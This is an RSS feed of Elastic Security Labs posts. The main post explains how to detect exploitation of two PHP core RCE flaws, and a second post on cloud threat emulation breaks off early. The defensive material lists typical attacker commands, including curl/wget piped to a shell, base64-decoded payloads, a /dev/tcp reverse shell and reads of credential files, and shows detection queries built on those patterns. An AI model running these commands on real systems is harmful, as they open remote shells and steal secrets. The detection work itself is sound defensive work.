<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[Bryan Porras Blanch - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[Bryan Porras Blanch - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/author/bryan-porras-blanch</link>
    </image>
    <link>https://www.elastic.co/security-labs/author/bryan-porras-blanch</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/author/bryan-porras-blanch.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Sat, 24 Oct 2026 08:23:59 GMT</lastBuildDate>
  <item>
    <title><![CDATA[php2shell: Assessing Elastic detection coverage relevant to CVE-2026-109618 and CVE-2026-109619]]></title>
    <description><![CDATA[CVE-2026-109618 and CVE-2026-109619 are critical PHP core RCE flaws that leaked ahead of disclosure. We cover what is verified, why exploitation converges on a web server spawning a shell, and the Elastic detections developed to catch this behavior.]]></description>
    <content:encoded><![CDATA[<p>On October 20, 2026, details of two critical remote code execution vulnerabilities in PHP, <a href="https://www.cve.org/CVERecord?id=CVE-2026-109618">CVE-2026-109618</a> and <a href="https://www.cve.org/CVERecord?id=CVE-2026-109619">CVE-2026-109619</a>, leaked online ahead of their coordinated disclosure and before any patch existed. The <a href="https://www.php.net/archive/2026.php">PHP security team</a> responded with advance notice of an emergency security release, scheduled for October 21, 2026 at 14:00 UTC, and rated both flaws critical with a CVSS v4.0 score of 9.2. Researchers at <a href="https://www.bleepingcomputer.com/news/security/php-warns-admins-of-two-critical-flaws-emergency-patches-coming-tomorrow/">watchTowr</a> confirmed the vulnerabilities are real and said they reproduced CVE-2026-109618, while noting they have not observed in-the-wild exploitation. The nickname circulating among researchers is <strong>php2shell</strong>.</p><p>PHP runs behind a very large share of the web: WordPress, Drupal, Joomla, and Magento, shared hosting and control panels, and a long tail of vendor software that bundles a PHP runtime without advertising it. When a critical bug lands in PHP core rather than in one application on top of it, the number of places you have to inventory grows quickly.</p><p>The PHP security team and the reporting researchers have now published the technical root cause, a pair of memory-safety bugs in PHP core, but at the time of writing there is still no reliable public proof-of-concept to run end to end. That is an awkward position for a defender, because you cannot simply run the exploit and watch the rules fire. It is not, however, a blind spot. An RCE in a PHP web application ends in the same observable place: a PHP worker process doing something a PHP worker process should not do. That convergent behavior is what we detect, and it is what this post is about.</p><p>In this post, we will cover:</p><ul><li><p>What the advisory confirmed about CVE-2026-109618 and CVE-2026-109619, and what it means for defenders.</p></li><li><p>Why php2shell will likely behave like generic PHP backend exploitation.</p></li><li><p>The convergent post-exploitation flow, and the Elastic rules that cover this behavior.</p></li><li><p>How to assess and prepare potential coverage before the PoC lands, and what to do right now.</p></li></ul><p>We have walked a PHP-adjacent RCE end-to-end before, in <a href="https://www.elastic.co/security-labs/blog/wp2shell-wordpress-rce-detection-elastic-defend">Detecting wp2shell: WordPress pre-authentication RCE in the wild</a>, which turned out to use the same precedence and was caught through similar pre-built behavioral rules.</p><h2><strong>What we know about CVE-2026-109618 and CVE-2026-109619</strong></h2><p>Here is what is verified at the time of writing, and what is not.</p><p><strong>What we know.</strong> Both vulnerabilities are unauthenticated remote code execution flaws in PHP core, each rated critical by the PHP security team with a CVSS v4.0 score of 9.2. They were reported by<a href="https://www.wiz.io/blog/php2shell-php-rce"> Wiz Research</a>, which identified them with the help of frontier AI models and coordinated disclosure with the PHP project. Additionally, a web page called <a href="https://www.php2shell.com/">php2shell</a> was created and contains a lot of relevant information about the vulnerability. Information leaked on October 20 ahead of the embargo, which is why PHP moved its release forward to October 21 at 14:00 UTC. With<a href="https://www.php.net/archive/2026.php#2026-10-21-5"> that release</a>, PHP published the patched versions, the affected branches, and the technical root cause.The PHP security team patched the vulnerabilities through commit <a href="https://github.com/php/php-src/commit/31c0ea7d7ff1d1fccb6492e52dab544011628065">31c0ea7d7ff1d1fccb6492e52dab544011628065</a>.</p><p><strong>What we do not know.</strong> The advisory names two distinct root-cause classes, both reachable by an unauthenticated web request:</p><ul><li><p><a href="https://www.cve.org/CVERecord?id=CVE-2026-109618">CVE-2026-109618</a>, RCE via out-of-memory (OOM) corruption (<a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">GHSA-w8hw-w9fx-j79w</a>): out-of-memory handling can interrupt PHP while internal request data is only partially initialized, and request cleanup may then treat the invalid data as valid.</p></li><li><p><a href="https://www.cve.org/CVERecord?id=CVE-2026-109619">CVE-2026-109619</a>, RCE via stale global state (<a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp">GHSA-6wmf-4rv5-p3rp</a>): request-owned internal state can survive after its backing memory has been freed, and a later request handled by the same worker may use that stale state before normal initialization resets it.</p></li></ul><p>Fixed versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. The risk spans any PHP installation serving web requests, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, with the PHP team flagging mod_php as highest risk because an unauthenticated request can trigger the issue before any application code runs. PHP 8.1 and older no longer receive updates from the PHP project, though minimal source backports were provided for 7.4, 8.0, and 8.1, and some distributions and LTS vendors ship backported fixes.</p><p>Based on public reporting, the activity maps to <a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application (T1190)</a>, and once an attacker has code execution, to <a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter (T1059)</a> and <a href="https://attack.mitre.org/techniques/T1505/003/">Server Software Component: Web Shell (T1505.003)</a>.</p><h2><strong>Is there a php.ini mitigation for php2shell?</strong></h2><p>The PHP security team is explicit that there are<a href="https://www.php.net/archive/2026.php#2026-10-21-5"> no complete mitigations and that updating is the only safe choice</a>. It does, however, document configuration measures that reduce exposure to specific attack paths without making an installation safe. For the OOM-corruption path (CVE-2026-109618), set <code>memory_limit=-1</code> in a way applications cannot override (for example <code>php_admin_value</code> in the FPM pool or Apache configuration), keep <code>post_max_size</code> low, and enforce a container or cgroup limit rather than <code>RLIMIT_AS</code> or <code>RLIMIT_DATA</code>. For the stale-global-state path (CVE-2026-109619), set <code>session.upload_progress.enabled=0</code> and restart every worker, which blocks the confirmed session paths but not all variants, and on PHP 8.5 set <code>fatal_error_backtraces=0</code>. Apply these through <code>php.ini</code>, an FPM pool, or server configuration that takes effect before request parsing; <code>ini_set()</code> and <code>.user.ini</code> do not help. Treat all of these as temporary exposure reduction, not a fix, and be skeptical of social-media guidance that presents a single config toggle as a complete solution.</p><h2><strong>Why php2shell exploitation likely looks like every other PHP RCE</strong></h2><p>We now know the bug class: two memory-safety bugs in PHP core, but the detection opportunity is in the outcome, not the trigger.</p><p>A remote attacker exploiting a PHP web application wants code execution in the context of the web stack, and that context is a predictable set of processes: <code>php-fpm</code> and its workers, <code>php-cgi</code>, <code>lsphp</code>, or a general web server like <code>apache2</code>, <code>httpd</code>, or <code>nginx</code> driving PHP. Once the attacker has execution inside that context, the next actions are almost always the same regardless of how they got there:</p><ul><li><p><strong>Confirm access.</strong> A first command through a shell to prove execution and establish identity: <code>id</code>, <code>whoami</code>, <code>uname -a</code>, <code>hostname</code>, or <code>cat /etc/os-release</code>.</p></li><li><p><strong>Enumerate for escalation.</strong> Quick checks for a path to root: <code>sudo -l</code>, <code>find / -perm -u=s -type f</code> for SUID binaries, <code>getcap -r /</code> for capabilities, or reading <code>/etc/passwd</code> and <code>/etc/shadow</code>.</p></li><li><p><strong>Stage through an interpreter.</strong> Pivot out of the shell into a richer runtime: <code>python3 -c</code>, <code>perl -e</code>, <code>ruby -e</code>, <code>node -e</code>, or back into PHP itself with <code>php -r</code>, often to run code that never touches disk.</p></li><li><p><strong>Pull second-stage tooling.</strong> Retrieve a payload with <code>curl -O</code> or <code>wget -O</code>, or pipe it straight into an interpreter (<code>curl http(s)://... | bash</code>, <code>wget -qO- http(s)://... | sh</code>).</p></li><li><p><strong>Decode a staged payload inline.</strong> Unpack an embedded blob without a download: <code>echo &lt;b64&gt; | base64 -d | sh</code>, <code>openssl enc -d</code>, or <code>xxd -r</code>.</p></li><li><p><strong>Open a reverse shell.</strong> The usual primitives: <code>bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/&lt;port&gt; 0&gt;&amp;1</code>, <code>mkfifo</code> paired with <code>nc</code>, <code>socat</code>, a Python <code>pty.spawn</code>, or PHP <code>fsockopen</code>.</p></li><li><p><strong>Harvest credentials and cloud identity.</strong> Read <code>.env</code> files, <code>~/.aws/credentials</code>, a mounted <code>service account</code> token under <code>(var)/run/secrets/kubernetes.io/</code>, or the instance metadata endpoint at <code>169.254.169.254</code>.</p></li><li><p><strong>Drop a webshell.</strong> Write attacker-controlled PHP into the web root (<code>.php</code>, <code>.phtml</code>), sometimes disguised as an image polyglot or a double extension such as <code>avatar.php.jpg</code> to slip past upload validation.</p></li><li><p><strong>Establish persistence beyond the shell.</strong> Add a cron entry, a <code>systemd</code> unit, or an SSH key to <code>~/.ssh/authorized_keys</code> so access survives a webshell cleanup.</p></li></ul><p></p><p>This is exactly the host footprint we walked end-to-end in the <a href="https://www.elastic.co/security-labs/blog/wp2shell-wordpress-rce-detection-elastic-defend">wp2shell</a> post. There, a completely different bug (a WordPress REST batch route confusion) ended in <code>apache2</code> spawning <code>dash</code> to run <code>sh -c -- id; whoami; hostname</code>, and plugin files landing under <code>wp-content/</code>. The entry point was WordPress-specific. The thing that fired the detections was not. A web server process spawning a shell or writing a payload is abnormal no matter which vulnerability opened the door, which is why we build detection on that behavior rather than on an exploit string that doesn’t exist yet. Although we can generally predict the outcome, we can never be entirely certain that we fully cover the threat, as there could be other forms of post-exploitation that we don't catch, like creation of an account or fileless PHP script execution.</p><p>That is the core of predicting coverage before a PoC lands: detect the convergent flow, not the specific trigger.</p><h2><strong>The php2shell post-exploitation flow: what a compromised web server does next</strong></h2><p>This section is the durable, exploit-agnostic layer. It keys on a web server process (PHP runtimes and general web servers) taking an action that is abnormal for a request-serving daemon. We group the coverage by the observable outcome. Endpoint (EDR) rules are shipped in the public <a href="https://github.com/elastic/protections-artifacts">protections-artifacts</a> repository and can prevent as well as alert; SIEM rules are shipped in the public <a href="https://github.com/elastic/detection-rules">detection-rules</a> repository. The queries below show only the distinctive predicate, not the full rule with all of its production exclusions.</p><h3><strong>Process execution: the web server spawns a shell</strong></h3><p>The tightest signal for "a PHP RCE just succeeded" is a request-serving process spawning a shell to run a suspicious command. The endpoint rule keys on a non-interactive web server parent launching a shell with a high-risk command line, and terminates it where prevention is enabled:</p>process where event.type == "start" and event.action == "exec" and
process.parent.interactive == false and
(
  process.parent.name in ("apache2", "httpd", "nginx", "php-cgi") or
  process.parent.name like ("php-fpm*", "lsphp*")
) and
process.name in ("bash", "dash", "sh", "zsh", "ksh") and
process.args in ("-c", "-cl", "-lc") and
(
  process.command_line like~ (
"*/dev/tcp*", "*|*base64 -d*", "*curl*", "*wget*", "*/etc/shadow*"
) or
  process.args in ("id", "whoami", "hostname")
)<p>This maps to the endpoint rule <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml"><strong>Payload Execution by Web Server</strong></a>, which covers a broad set of web server parents (the PHP runtimes, Apache, nginx, and many application servers) and a long catalog of suspicious command lines, from discovery commands through reverse shells, decoding pipelines, and credential-file access. It is the rule that terminated <code>dash</code> in the wp2shell run.</p><p>On the SIEM side, two rules cover the same shell activity without a preventive action, which lets them carry fewer exclusions and reduce the risk of false negatives. <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml"><strong>Suspicious Command Execution via Web Server</strong></a> matches known-bad command lines from a web server parent. <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml"><strong>Unusual Command Execution via Web Server</strong></a> is a <code>new_terms</code> rule: it learns which shell command lines each web server parent normally runs on a host, then alerts on lines that break the baseline. A fresh exploit introduces command lines the host has never seen, so the two stack well together.</p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3fed22ae1ff87016/6ad8c2c00aea0420832a5f75/analyzer_one.png" alt="Elastic Analyzer graph of apache2 spawning dash then hostname, the wp2shell PHP RCE post-exploitation lineage" /><p></p><h3><strong>Child execution: the web server spawns a non-shell child</strong></h3><p>Not every PHP RCE goes through a shell. A php2shell payload may invoke an interpreter directly (<code>python -c</code>, <code>perl -e</code>), pull tooling with a downloader, or drop into a reverse-shell helper. Two SIEM rules cover a web server spawning children outside its normal set:</p><p>We have an endpoint rule named <a href="https://github.com/elastic/protections-artifacts/blob/955723319e62a7e4095d256355b095a7594ff48c/behavior/rules/linux/persistence_suspicious_web_server_child_process.toml">Suspicious Web Server Child Process</a>, which covers a broad set of web parents and potentially suspicious child processes. This rule has response actions to kill the child process. </p><p>For SIEM, we have a similar but broader rule named <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml"><strong>Suspicious Child Execution via Web Server</strong></a>, which keys on a web server parent whose child is run from a suspicious path (<code>/tmp</code>/, <code>/dev/shm/</code>, <code>/var/tmp/</code>, the web root) or is a suspicious binary (an interpreter, a networking utility, a cloud CLI, a file with a script extension). <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml"><strong>Unusual Child Execution via Web Server</strong></a> applies the <code>new_terms</code> approach to child executions, surfacing child processes a given web server has never spawned on that host. They did not fire in the wp2shell run, because that chain went through <code>dash</code> and standard discovery binaries that the command-execution rules already cover, but they are the layer that catches a variant invoking <code>curl | bash</code> or <code>python -c</code> directly.</p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55c0b60a0de95705/6ad8c2e20c0e87544f4092be/Screenshot_2026-10-21_at_11.41.23.png" alt="Elastic alert Suspicious Child Execution via Web Server showing php-fpm spawning whoami on a PHP host" /><p></p><h3><strong>Payload download: the web server pulls second-stage tooling</strong></h3><p>A common follow-on to PHP RCE is retrieving a second-stage payload. The endpoint rule <a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml"><strong>Payload Downloaded via Curl or Wget by Web Server</strong></a> detects a web server parent invoking <code>curl</code> or <code>wget</code> through a shell to save a remote file to disk or pipe it into an interpreter, and terminates it where prevention is enabled. It did not need to fire in the wp2shell PoC, which carried its own payload, but it is a high-value layer for a real intrusion that stages tooling from an external host.</p><h3><strong>File creation: the PHP webshell drop</strong></h3><p>Before any command runs, the attacker often has to write a file: a webshell, a dropped script, an uploaded archive. A web server writing new executable or script content into the web root is abnormal outside of a deployment. Three rules cover this from different angles:</p><ul><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_file_creation.toml"><strong>Unusual File Creation via Web Server</strong></a> is a <code>new_terms</code> rule that flags a web server creating or renaming a file it does not normally touch.</p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml"><strong>Unusual File Creation by Web Server</strong></a> is a building block rule that surfaces unusual file creations by a web server parent, useful as correlation context rather than a standalone alert.</p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_file_high_entropy.toml"><strong>File with High Entropy Created by Web Server</strong></a> keys on a web server writing a high-entropy file with a web-executable extension, a common sign of an encoded or encrypted payload such as an obfuscated <code>.phtml</code> webshell.</p></li></ul><h2><strong>How to prepare coverage for php2shell before the exploit exists</strong></h2><p>Because the post-exploitation flow is predictable, you can line up coverage now rather than scrambling when the exploit code appears. Enable these pre-built SIEM rules on any host running PHP or a web server:</p><ul><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_file_creation.toml">Unusual File Creation via Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml">Unusual File Creation by Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_file_high_entropy.toml">File with High Entropy Created by Web Server</a></p></li><li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></p></li></ul><p>
Deploy <a href="https://www.elastic.co/guide/en/security/current/install-endpoint.html">Elastic Defend</a> with prevention enabled on those same hosts to add the endpoint layer, which can terminate processes that match the applicable behavioral rules. The high-entropy rule require Elastic Stack 9.3.0 or later. In the Elastic Defend integration policy, under advanced settings, set <code>linux.advanced.events.populate_file_data</code> to <code>true</code> and verify that incoming file events include <code>file.Ext.entropy</code> for the high-entropy rule.</p><p>The coverage spans two data sources, process and file, which is why both layers matter:</p><p><em>Public Elastic rule guidance for the php2shell post-exploitation flow</em></p><p><strong>Telemetry source</strong></p><p><strong>Elastic detection rule</strong></p><p>Process</p><p><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_execution_by_web_server.toml">Payload Execution by Web Server</a> (EDR)</p><p>Process</p><p><a href="https://github.com/elastic/protections-artifacts/blob/a8602190dc5e6ace08493272ee953f9fefd9eae3/behavior/rules/linux/persistence_payload_downloaded_via_curl_or_wget_by_web_server.toml">Payload Downloaded via Curl or Wget by Web Server</a> (EDR)</p><p>Process</p><p><a href="https://github.com/elastic/protections-artifacts/blob/955723319e62a7e4095d256355b095a7594ff48c/behavior/rules/linux/persistence_suspicious_web_server_child_process.toml">Suspicious Web Server Child Process</a> (EDR)</p><p>Process</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_command_execution.toml">Suspicious Command Execution via Web Server</a></p><p>Process</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_command_execution.toml">Unusual Command Execution via Web Server</a></p><p>Process</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_suspicious_child_execution.toml">Suspicious Child Execution via Web Server</a></p><p>Process</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_child_execution.toml">Unusual Child Execution via Web Server</a></p><p>File</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_unusual_file_creation.toml">Unusual File Creation via Web Server</a></p><p>File</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules_building_block/persistence_web_server_sus_file_creation.toml">Unusual File Creation by Web Server</a></p><p>File</p><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_webserver_file_high_entropy.toml">File with High Entropy Created by Web Server</a></p><p></p><p>If your web stack runs behind a parent process that is not yet in these lists, let us know so we can extend their scope.</p><h2><strong>How to find PHP installs that may be affected by php2shell</strong></h2><p>Start by identifying PHP deployments across Linux and Windows, including runtimes bundled with other applications. Patched versions are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35, so use the queries below to inventory PHP across your environment and prioritize anything that is unpatched or end of life.</p><h3><strong>Find PHP through process telemetry</strong></h3><p>In Kibana Discover, select a data view containing process events, such as <code>logs-endpoint.events.process-*</code>, and search the available retention period, for example, the last 7 days:</p>event.category: process and (
  process.name: (php* or lsphp* or frankenphp or sw-engine-fpm) or
  process.parent.name: (php* or lsphp* or frankenphp or sw-engine-fpm)
)<p>Review <code>host.name</code>, <code>process.executable</code>, <code>process.parent.executable</code>, and <code>container.id</code> where available. The query includes common Windows process names such as <code>php.exe</code> and <code>php-cgi.exe</code>. Parent-process matches can also reveal PHP workers through their recorded child processes.</p><h3><strong>Locate PHP installs on Linux and Windows</strong></h3><p>Process telemetry can miss inactive installations. Use Osquery to check common system and hosting-platform locations for PHP binaries and Apache PHP modules. The first example runs the query for Linux systems:</p>SELECT DISTINCT path, filename, type, symlink
FROM file
WHERE (
       path LIKE '/usr/bin/php%'
    OR path LIKE '/usr/sbin/php%'
    OR path LIKE '/usr/local/bin/php%'
    OR path LIKE '/usr/local/sbin/php%'
    OR path LIKE '/usr/lib/cgi-bin/php%'
    OR path LIKE '/opt/cpanel/ea-php%/root/usr/bin/php%'
    OR path LIKE '/opt/cpanel/ea-php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/opt/plesk/php/%/bin/php%'
    OR path LIKE '/opt/plesk/php/%/sbin/php-fpm%'
    OR path LIKE '/opt/remi/php%/root/usr/bin/php%'
    OR path LIKE '/opt/remi/php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/opt/rh/rh-php%/root/usr/bin/php%'
    OR path LIKE '/opt/rh/rh-php%/root/usr/sbin/php-fpm%'
    OR path LIKE '/usr/local/lsws/lsphp%/bin/lsphp'
    OR path LIKE '/usr/local/lsws/fcgi-bin/lsphp%'
    OR path LIKE '/snap/php%/%/bin/php%'
    OR path LIKE '/nix/store/%php%/bin/php%'
    OR path LIKE '/usr/lib/apache2/modules/libphp%.so'
    OR path LIKE '/usr/lib/httpd/modules/libphp%.so'
    OR path LIKE '/usr/lib64/httpd/modules/libphp%.so'

    /* Generic custom installation paths */
    OR path LIKE '/%/php%/php%'
    OR path LIKE '/%/php%/%/php%'
    OR path LIKE '/%/%/php%/php%'
    OR path LIKE '/%/%/php%/%/php%'

    OR path IN (
        '/usr/bin/lsphp',
        '/usr/local/bin/lsphp',
        '/usr/bin/frankenphp',
        '/usr/local/bin/frankenphp'
    )
)
ORDER BY path;<p>The second query checks common Windows standalone and bundled installations.</p>SELECT DISTINCT path, filename, file_version, product_version
FROM file
WHERE (
       path LIKE 'C:\PHP%\php%'
    OR path LIKE 'C:\PHP%\%\php%'
    OR path LIKE 'C:\%\PHP%\php%'
    OR path LIKE 'C:\%\PHP%\%\php%'
    OR path LIKE 'C:\Program Files%\%\PHP%\php%'
    OR path LIKE 'C:\Program Files%\%\PHP%\%\php%'
    OR path LIKE 'C:\wamp%\bin\php\%\php%'
    OR path LIKE 'C:\laragon\bin\php\%\php%'
    OR path LIKE 'C:\Program Files%\Plesk\Additional\%PHP%\php%'
    OR path LIKE 'C:\Program Files%\Plesk\admin\bin\php%'
)
AND LOWER(filename) IN ('php.exe', 'php-cgi.exe', 'php-win.exe')
ORDER BY path;<p>This results in the following example hits:</p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0d632774d3e3060b/6ad8c30423d2b439b521ecef/osquery.png" alt="Elastic osquery query results listing PHP executable paths and versions on a Windows host for php2shell inventory" /><p>We can also leverage OSQuery’s <code>deb_package</code> and <code>rpm_package</code> tables:</p>SELECT name, version, arch, status
FROM deb_packages
WHERE status = 'install ok installed'
  AND (
       name LIKE 'php%'
       OR name LIKE 'libapache2-mod-php%'
       OR name LIKE 'lsphp%'
       OR name LIKE 'ea-php%'
       OR name LIKE 'plesk-php%'
       OR name = 'sw-engine'
  )
ORDER BY name;<p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte17c8a1861a2c210/6ad8c47e9c7d39635f944daf/dpkg.png" alt="" /><p>And:</p>SELECT name, version, release, epoch, arch
FROM rpm_packages
WHERE name LIKE 'php%'
   OR name LIKE 'lsphp%'
   OR name LIKE 'ea-php%'
   OR name LIKE 'plesk-php%'
   OR name = 'sw-engine'
ORDER BY name;<p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5bd55b82bd5188a9/6ad8c4bc0c0e877f724092c8/rpm.png" alt="" /><p></p><p>Of course, this is a short list of potential locations; use your own inventory to scan your environment. Extend these paths for other drives, custom installations, and vendor software. Inspect container filesystems separately. File matches may include unused installations, wrappers, or helper utilities. Missing results do not establish that PHP is absent.</p><h2><strong>What to do about CVE-2026-109618 and CVE-2026-109619 right now</strong></h2><p>PHP has released the fixes, so patching is now the priority, with exposure reduction for anything you cannot patch immediately:</p><ol><li><p>Inventory every PHP install you own. Start with internet-facing web servers, then go looking for the less obvious locations: vendor appliances and software that bundle a PHP runtime, control panels, and anything running WordPress, Drupal, Joomla, or Magento.</p></li><li><p>Patch internet-facing systems first, to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, and check your Linux distribution and hosting provider for backported packages.</p></li><li><p>Identify end-of-life PHP. If you are running PHP 8.1 or older, the PHP project no longer ships updates, though minimal source backports exist for 7.4, 8.0, and 8.1 and some vendors provide backported packages. Upgrade, take it off the internet, or place it behind a VPN or web application firewall until you can.</p></li><li><p>If you cannot patch immediately, apply PHP's <a href="https://www.php.net/archive/2026.php#2026-10-21-5">documented partial mitigations</a> (for example <code>session.upload_progress.enabled=0</code>, and a constrained <code>memory_limit</code> and <code>post_max_size</code>), but treat them as temporary exposure reduction, not a fix.</p></li><li><p>If you find something, isolate the host and preserve web server and PHP logs. Look for webshells and new files in the web root, along with new cron jobs, services, and accounts.</p></li></ol><h2><strong>php2shell detection: what holds regardless of the root cause</strong></h2><p>CVE-2026-109618 and CVE-2026-109619 are two critical, unauthenticated PHP core RCE flaws that were publicly identified before their coordinated disclosure. The patched releases (8.5.12, 8.4.27, 8.3.36, 8.2.35) and the two root-cause classes are now public, but the post-exploitation outcome is what makes them detectable: a web server process spawning a shell, pulling a payload, or dropping a webshell into the web root. Elastic already ships the behavioral layer that catches that convergent flow across both process and file telemetry.</p><p>Patch now, isolate what you cannot patch, and verify the web-server-to-shell detection stack is enabled on your PHP hosts. We will revisit this post with concrete telemetry as reliable public exploitation details emerge.</p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/php2shell-php-rce-detection</link>
    <guid isPermaLink="false">php2shell-php-rce-detection</guid>
    <category><![CDATA[Detection Engineering]]></category>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Bryan Porras Blanch]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte46ab96342b9d9fc/6ad8b873b537019b6b7be681/php2shell.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 21 Oct 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Cloud Threat Emulation on Autopilot: Context is Everything]]></title>
    <description><![CDATA[Cloud threat emulation is more than detonation. A plan-first methodology for cloud detection engineering: scope, victim model, telemetry, coverage, cleanup. Learn how to properly leverage AI to automate your emulations.]]></description>
    <content:encoded><![CDATA[<h2>Cloud threat emulation needs more than detonation</h2><p>Cloud threat emulation is not firing an API call and calling it done. Public practice already says the quiet part out loud. Intelligence-driven impersonation of real adversary TTPs, in a controlled environment, to test and improve defenses;. The <a href="https://github.com/center-for-threat-informed-defense/adversary_emulation_library">MITRE Center for Threat-Informed Defense Adversary Emulation Library</a> is a clear expression of that plan-first shape. We build on similar pillars, then alter the approach for cloud detection engineering: scope in layers, threat model, execute, verify telemetry, and tear down clean.</p><p></p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt45c0ff5cf31bfe8c/6aad148f56532057a4a07b91/cloud-threat-emulation-loop.png" alt="Cloud threat emulation loop: plan, engage, analyze, improve. Detonation is one step inside engage." /><p>In cloud, SaaS, and identity environments, that same discipline matters even more. There is often no malware sample, sandbox, or incident artifact to replay. You research the behavior. Threat models it all, including the victim’s environment. You provision the right resources and identities, execute, and capture the telemetry. Then you ask the only question that matters for detection engineering: <em>"Is this data actually useful for detection?</em>”</p><p></p><p>Endpoint atomic testing can get away with a host and a payload. Cloud threat emulation for detection engineering cannot. Identities, control-plane APIs, eventual consistency, and logging that ships half-off change what “reproducing the behavior” even means. That is the so what. Cloud threat emulation/detection engineering (TE/DE) needs its own approach, not a port of the endpoint habit.</p><p></p><p>Plenty of tooling helps you perform the nefarious bits, whether or not it cleanly mimics a red team or a named adversary. <a href="https://github.com/DataDog/stratus-red-team">Stratus Red Team</a>, <a href="https://github.com/redcanaryco/atomic-red-team">Atomic Red Team</a>, <a href="https://github.com/RhinoSecurityLabs/cloudgoat">CloudGoat</a>, <a href="https://github.com/dirkjanm/ROADtools">ROADTools</a>, <a href="https://github.com/splunk/attack_range">Splunk ATT&amp;CK Range</a>, and a pile of homegrown scripts all get used that way. Anyone who has done this work knows how much planning and testing, and cleanup still sits around the detonation itself. Cloud detection is also not "call an API, alert on that API." That is a fast path to noise and the principal detection engineer’s office. IAM context, prerequisites, expected outcomes, and realistic execution all matter. <u><strong>Poor emulation produces poor data. Poor data produces poor detections.</strong></u></p><p></p><p>A daily note from us to you:</p><p></p><p></p><p>This post is Part 1 of our cloud threat emulation series: our cloud-focused take on that methodology, built on public threat-emulation pillars and altered where cloud and detection 